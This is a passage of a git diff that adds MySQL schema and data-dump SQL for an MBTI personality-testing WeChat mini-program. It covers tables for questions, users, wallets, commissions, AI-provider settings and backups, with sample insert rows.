DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `idx_type_enterpriseId`(`type`, `enterpriseId`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 12 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '全局定价配置表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_questions +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_questions`; +CREATE TABLE `mbti_questions` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '题目ID', + `type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '题目类型:mbti/disc/pdp', + `question` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '题目内容', + `options` json NULL COMMENT '选项(JSON格式)', + `dimension` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '维度(仅MBTI类型使用:EI/SN/TF/JP)', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(NULL表示超管题库)', + `sort` int(11) NULL DEFAULT 0 COMMENT '排序', + `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1启用,0禁用', + `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_type`(`type`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_sort`(`sort`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_deletedAt`(`deletedAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 131 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '题目表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_system_config +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_system_config`; +CREATE TABLE `mbti_system_config` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID', + `key` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '配置键', + `enterprise_id` int(11) NOT NULL DEFAULT 0 COMMENT '企业ID,0=全局/个人版', + `value` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '配置值(JSON格式)', + `description` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '配置说明', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `idx_key_eid`(`key`, `enterprise_id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 12 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '系统配置表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_system_configs +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_system_configs`; +CREATE TABLE `mbti_system_configs` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID', + `configKey` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '配置键', + `configValue` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '配置值(JSON格式)', + `description` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '描述', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `configKey`(`configKey`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 17 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '系统配置表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_test_results +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_test_results`; +CREATE TABLE `mbti_test_results` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '结果ID', + `userId` int(11) NOT NULL COMMENT '用户ID', + `testType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '测试类型:mbti/disc/pdp/face', + `resultData` json NULL COMMENT '测试结果(JSON格式)', + `score` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '得分详情', + `orderId` int(11) NULL DEFAULT NULL COMMENT '关联订单ID(mbti_orders.id)', + `requiresPayment` tinyint(1) NOT NULL DEFAULT 0 COMMENT '是否需要付款:0否1是', + `isPaid` tinyint(1) NOT NULL DEFAULT 0 COMMENT '是否已付款:0否1是', + `paidAmount` int(11) NULL DEFAULT 0 COMMENT '付款金额(分,冗余存储,避免改价影响历史)', + `paidAt` int(11) NULL DEFAULT NULL COMMENT '付款时间(时间戳)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID,NULL表示个人用户', + `testScope` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'personal' COMMENT '测试来源版本: personal=个人版 enterprise=企业版', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_userId`(`userId`) USING BTREE, + INDEX `idx_testType`(`testType`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE, + INDEX `idx_orderId`(`orderId`) USING BTREE, + INDEX `idx_isPaid`(`isPaid`) USING BTREE, + INDEX `idx_requiresPayment`(`requiresPayment`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 146 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '测试结果表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_upload_files +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_upload_files`; +CREATE TABLE `mbti_upload_files` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', + `path` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '存储路径', + `url` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '访问 URL', + `driver` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'oss' COMMENT '驱动: oss/local', + `hash` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '文件 MD5', + `size` int(11) NULL DEFAULT NULL COMMENT '文件大小(字节)', + `mimeType` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'MIME 类型', + `extension` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '扩展名', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_driver_hash`(`driver`, `hash`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 124 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '上传文件记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_user_profile +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_user_profile`; +CREATE TABLE `mbti_user_profile` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '主键ID', + `userId` int(11) NOT NULL COMMENT '用户ID(关联总用户表主键)', + `userType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL DEFAULT 'personal' COMMENT '用户类型: personal个人 / enterprise企业', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(企业用户所属企业,个人为空)', + `testsTotal` int(11) NOT NULL DEFAULT 0 COMMENT '总测试次数(所有类型之和)', + `testsMbti` int(11) NOT NULL DEFAULT 0 COMMENT 'MBTI测试次数', + `testsDisc` int(11) NOT NULL DEFAULT 0 COMMENT 'DISC测试次数', + `testsPdp` int(11) NOT NULL DEFAULT 0 COMMENT 'PDP测试次数', + `testsFace` int(11) NOT NULL DEFAULT 0 COMMENT 'AI面相测试次数', + `ordersTotal` int(11) NOT NULL DEFAULT 0 COMMENT '总订单数', + `paidOrders` int(11) NOT NULL DEFAULT 0 COMMENT '已付款订单数', + `totalPaidAmount` int(11) NOT NULL DEFAULT 0 COMMENT '总支付金额(分)', + `lastTestResultId` int(11) NULL DEFAULT NULL COMMENT '最近一条测试结果ID(mbti_test_results.id)', + `lastTestType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '最近测试类型: mbti/disc/pdp/face/ai', + `lastTestAt` int(11) NULL DEFAULT NULL COMMENT '最近测试时间', + `lastMbtiResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次MBTI结果ID', + `lastDiscResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次DISC结果ID', + `lastPdpResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次PDP结果ID', + `lastFaceResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次AI面相结果ID', + `createdAt` int(11) NOT NULL DEFAULT 0 COMMENT '创建时间', + `updatedAt` int(11) NOT NULL DEFAULT 0 COMMENT '更新时间', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `uk_user`(`userId`, `userType`, `enterpriseId`) USING BTREE, + INDEX `idx_enterprise`(`enterpriseId`) USING BTREE, + INDEX `idx_lastTestAt`(`lastTestAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 17 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci COMMENT = '用户画像汇总表(个人+企业,含最近测试结果ID)' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_users +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_users`; +CREATE TABLE `mbti_users` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '用户ID', + `username` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '用户名', + `password` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '密码(加密)', + `phone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '手机号', + `email` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '邮箱', + `role` enum('enterprise_admin','admin','superadmin') CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '角色:enterprise_admin企业管理员/admin普通管理员/superadmin超级管理员', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', + `mbtiType` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'MBTI类型', + `region` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '地区', + `industry` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '行业', + `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1正常,0禁用', + `lastLoginTime` int(11) NULL DEFAULT NULL COMMENT '最后登录时间(时间戳)', + `lastLoginIp` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '最后登录IP', + `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `username`(`username`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_role`(`role`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE, + INDEX `idx_lastLoginTime`(`lastLoginTime`) USING BTREE, + INDEX `idx_deletedAt`(`deletedAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 4 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '管理员用户表(仅存储管理员和超管)' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_wechat_users +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_wechat_users`; +CREATE TABLE `mbti_wechat_users` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '用户ID', + `openid` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '微信 openid', + `unionid` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信 unionid(开放平台)', + `sessionKey` varchar(128) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '会话密钥', + `nickname` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '昵称', + `avatar` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '头像 URL', + `phone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '手机号', + `gender` tinyint(1) NULL DEFAULT 0 COMMENT '性别:0未知 1男 2女', + `country` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '国家', + `province` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '省份', + `city` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '城市', + `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1正常 0禁用', + `lastLoginAt` int(11) NULL DEFAULT NULL COMMENT '最后登录时间(时间戳)', + `lastLoginIp` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '最后登录 IP', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '当前绑定企业ID:通过企业分享测试链接进入时更新,个人分享不更新', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + `walletBalance` int(11) NOT NULL DEFAULT 0 COMMENT '钱包余额(分)', + `walletTotalEarned` int(11) NOT NULL DEFAULT 0 COMMENT '历史累计佣金(分)', + `walletPending` int(11) NOT NULL DEFAULT 0 COMMENT '待入账佣金(分)', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `idx_openid`(`openid`) USING BTREE, + INDEX `idx_unionid`(`unionid`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_lastLoginAt`(`lastLoginAt`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 42 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '微信小程序用户表' ROW_FORMAT = Dynamic; + +SET FOREIGN_KEY_CHECKS = 1; diff --git a/api/mbti_data.sql b/api/mbti_data.sql new file mode 100644 index 0000000..460a9ad --- /dev/null +++ b/api/mbti_data.sql @@ -0,0 +1,1238 @@ +/* + Navicat Premium Data Transfer + + Source Server : kr_存客宝 + Source Server Type : MySQL + Source Server Version : 50736 + Source Host : 56b4c23f6853c.gz.cdb.myqcloud.com:14413 + Source Schema : mbti + + Target Server Type : MySQL + Target Server Version : 50736 + File Encoding : 65001 + + Date: 12/03/2026 17:12:50 +*/ + +SET NAMES utf8mb4; +SET FOREIGN_KEY_CHECKS = 0; + +-- ---------------------------- +-- Table structure for mbti_activities +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_activities`; +CREATE TABLE `mbti_activities` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '活动ID', + `userId` int(11) NULL DEFAULT NULL COMMENT '用户ID', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', + `type` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '活动类型', + `action` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '操作描述', + `relatedId` int(11) NULL DEFAULT NULL COMMENT '关联ID', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_userId`(`userId`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_type`(`type`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '活动记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_ai_providers +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_ai_providers`; +CREATE TABLE `mbti_ai_providers` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID', + `providerId` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '服务商ID:openai/anthropic/deepseek等', + `name` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '服务商名称', + `enabled` tinyint(1) NULL DEFAULT 0 COMMENT '是否启用:1启用,0禁用', + `visible` tinyint(1) NOT NULL DEFAULT 1 COMMENT '是否在列表中显示:1显示,0隐藏', + `apiKey` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'API密钥(加密存储)', + `apiEndpoint` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'API端点', + `model` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '默认模型', + `organizationId` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'Organization ID(OpenAI专用)', + `maxTokens` int(11) NULL DEFAULT 4096 COMMENT '最大Token数', + `balanceAlertEnabled` tinyint(1) NULL DEFAULT 0 COMMENT '余额告警是否启用', + `balanceAlertThreshold` decimal(10, 2) NULL DEFAULT 10.00 COMMENT '余额告警阈值', + `notes` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '备注', + `docUrl` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '文档/API Key申请链接', + `isFree` tinyint(1) NULL DEFAULT 0 COMMENT '是否免费额度服务商', + `supportsBalance` tinyint(1) NULL DEFAULT 1 COMMENT '是否支持余额查询', + `lastBalance` decimal(10, 2) NULL DEFAULT NULL COMMENT '最后查询的余额', + `lastBalanceCurrency` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '余额币种:CNY/USD', + `lastBalanceCheckedAt` int(11) NULL DEFAULT NULL COMMENT '最后余额查询时间(时间戳)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + `deletedAt` int(11) NULL DEFAULT NULL COMMENT '软删除时间戳,有值表示已删除', + `extraConfig` json NULL COMMENT '其他配置参数(JSON),方便扩展接收其他参数', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `idx_providerId`(`providerId`) USING BTREE, + INDEX `idx_enabled`(`enabled`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 10 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = 'AI服务商配置表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_ai_providers +-- ---------------------------- +INSERT INTO `mbti_ai_providers` VALUES (1, 'openai', 'OpenAI (GPT)', 0, 1, NULL, 'https://api.openai.com/v1', 'gpt-4.1-mini', '', 4096, 0, 10.00, '', 'https://developers.openai.com/api/docs', 0, 1, 100.00, 'USD', 1772068185, 1770882819, 1772443541, NULL, '[]'); +INSERT INTO `mbti_ai_providers` VALUES (2, 'anthropic', 'Anthropic (Claude)', 0, 0, NULL, 'https://api.anthropic.com/v1', 'claude-sonnet-4-20250514', NULL, 4096, 0, 10.00, NULL, 'https://console.anthropic.com/settings/keys', 0, 0, NULL, NULL, NULL, 1770882819, 1770882819, NULL, NULL); +INSERT INTO `mbti_ai_providers` VALUES (3, 'deepseek', 'DeepSeek', 0, 0, NULL, 'https://api.deepseek.com/v1', 'deepseek-chat', NULL, 4096, 0, 10.00, NULL, 'https://platform.deepseek.com/api_keys', 0, 1, NULL, NULL, NULL, 1770882819, 1770882819, NULL, NULL); +INSERT INTO `mbti_ai_providers` VALUES (4, 'moonshot', 'Moonshot (Kimi)', 0, 0, NULL, 'https://api.moonshot.cn/v1', 'moonshot-v1-8k', NULL, 4096, 0, 10.00, NULL, 'https://platform.moonshot.cn/console/api-keys', 0, 1, NULL, NULL, NULL, 1770882819, 1770882819, NULL, NULL); +INSERT INTO `mbti_ai_providers` VALUES (5, 'groq', 'Groq', 0, 0, NULL, 'https://api.groq.com/openai/v1', 'llama3-8b-8192', '', 8192, 0, 0.00, '免费额度,无需余额监控', 'https://console.groq.com/keys', 1, 0, NULL, NULL, NULL, 1770882819, 1770882850, NULL, NULL); +INSERT INTO `mbti_ai_providers` VALUES (6, 'coze', 'Coze (扣子)', 0, 0, NULL, 'https://api.coze.cn/v1', 'DeepSeek-V3-0324', '', 4096, 0, 10.00, '', 'https://www.coze.cn/open/api', 0, 0, NULL, NULL, NULL, 1770882819, 1771988128, NULL, '{\"bot_id\": \"7488186374479347731\", \"space_id\": \"7487098730056515619\"}'); +INSERT INTO `mbti_ai_providers` VALUES (7, 'qwen', '通义千问 (Qwen)', 0, 0, NULL, 'https://dashscope.aliyuncs.com/compatible-mode/v1', 'qwen-turbo', NULL, 4096, 0, 10.00, NULL, 'https://dashscope.console.aliyun.com/apiKey', 0, 0, NULL, NULL, NULL, 1770882819, 1770882819, NULL, NULL); +INSERT INTO `mbti_ai_providers` VALUES (8, 'zhipu', '智谱 (GLM)', 0, 0, NULL, 'https://open.bigmodel.cn/api/paas/v4', 'glm-4-flash', NULL, 4096, 0, 10.00, NULL, 'https://open.bigmodel.cn/usercenter/apikeys', 0, 0, NULL, NULL, NULL, 1770882819, 1770882819, NULL, NULL); +INSERT INTO `mbti_ai_providers` VALUES (9, 'zhizengzeng', '智增增\r\n', 1, 1, NULL, 'https://api.zhizengzeng.com/v1', 'gpt-4.1', '', 4096, 0, 10.00, '', 'https://doc.zhizengzeng.com', 0, 1, NULL, NULL, NULL, 1770882819, 1773279905, NULL, '[]'); + +-- ---------------------------- +-- Table structure for mbti_backup_records +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_backup_records`; +CREATE TABLE `mbti_backup_records` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', + `filename` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '备份文件名', + `filepath` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '本地文件路径', + `fileSize` bigint(20) NULL DEFAULT 0 COMMENT '文件大小(字节)', + `ossUrl` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'OSS访问URL', + `ossPath` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'OSS对象路径', + `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'success' COMMENT '状态:success成功/failed失败', + `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_filename`(`filename`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE, + INDEX `idx_deletedAt`(`deletedAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 2 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '数据库备份记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_backup_records +-- ---------------------------- +INSERT INTO `mbti_backup_records` VALUES (1, 'backup_mbti_20260212160946.sql', 'F:\\karuo\\mbti\\api\\runtime/backup/backup_mbti_20260212160946.sql', 82181, 'https://ac-weremote-s2.oss-cn-shenzhen.aliyuncs.com/backup/2026/02/12/backup_mbti_20260212160946.sql', 'backup/2026/02/12/backup_mbti_20260212160946.sql', 'success', NULL, 1770883787, 1770883787); + +-- ---------------------------- +-- Table structure for mbti_commission_records +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_commission_records`; +CREATE TABLE `mbti_commission_records` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', + `agentId` int(11) NOT NULL COMMENT '分销商ID', + `orderId` int(11) NULL DEFAULT NULL COMMENT '订单ID', + `commissionRate` decimal(5, 2) NULL DEFAULT 0.00 COMMENT '佣金比例(%)', + `commissionAmount` decimal(10, 2) NOT NULL COMMENT '佣金金额', + `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'pending' COMMENT 'pending/paid/frozen/cancelled', + `paidAt` int(11) NULL DEFAULT NULL COMMENT '支付时间(时间戳)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + `scope` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'personal' COMMENT '分销维度', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', + `inviterId` int(11) NULL DEFAULT NULL COMMENT '推荐人ID', + `inviteeId` int(11) NULL DEFAULT NULL COMMENT '付款用户ID', + `bindingId` int(11) NULL DEFAULT NULL COMMENT '绑定记录ID', + `orderAmount` int(11) NOT NULL DEFAULT 0 COMMENT '订单金额(分)', + `commissionFen` int(11) NOT NULL DEFAULT 0 COMMENT '佣金金额(分)', + `frozenAt` int(11) NULL DEFAULT NULL COMMENT '冻结时间', + `unfrozenAt` int(11) NULL DEFAULT NULL COMMENT '解冻时间', + `testResultId` int(11) NULL DEFAULT NULL, + `commissionSource` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'payment', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `uk_test_commission`(`testResultId`, `commissionSource`) USING BTREE, + INDEX `idx_agentId`(`agentId`) USING BTREE, + INDEX `idx_orderId`(`orderId`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_scope`(`scope`) USING BTREE, + INDEX `idx_dist_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_inviterId`(`inviterId`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 46 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '佣金记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_commission_records +-- ---------------------------- +INSERT INTO `mbti_commission_records` VALUES (1, 6, NULL, 0.00, 0.10, 'paid', 1773039077, 1773039077, 1773039077, 'personal', 5, 6, 1, 2, 0, 10, NULL, NULL, 84, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (2, 6, NULL, 0.00, 0.10, 'paid', 1773040163, 1773040163, 1773040163, 'personal', 5, 6, 1, 2, 0, 10, NULL, NULL, 85, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (3, 6, NULL, 0.00, 1.00, 'paid', 1773043973, 1773043973, 1773043973, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 87, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (4, 6, NULL, 0.00, 1.00, 'paid', 1773044496, 1773044496, 1773044496, 'personal', 6, 6, 1, 1, 0, 100, NULL, 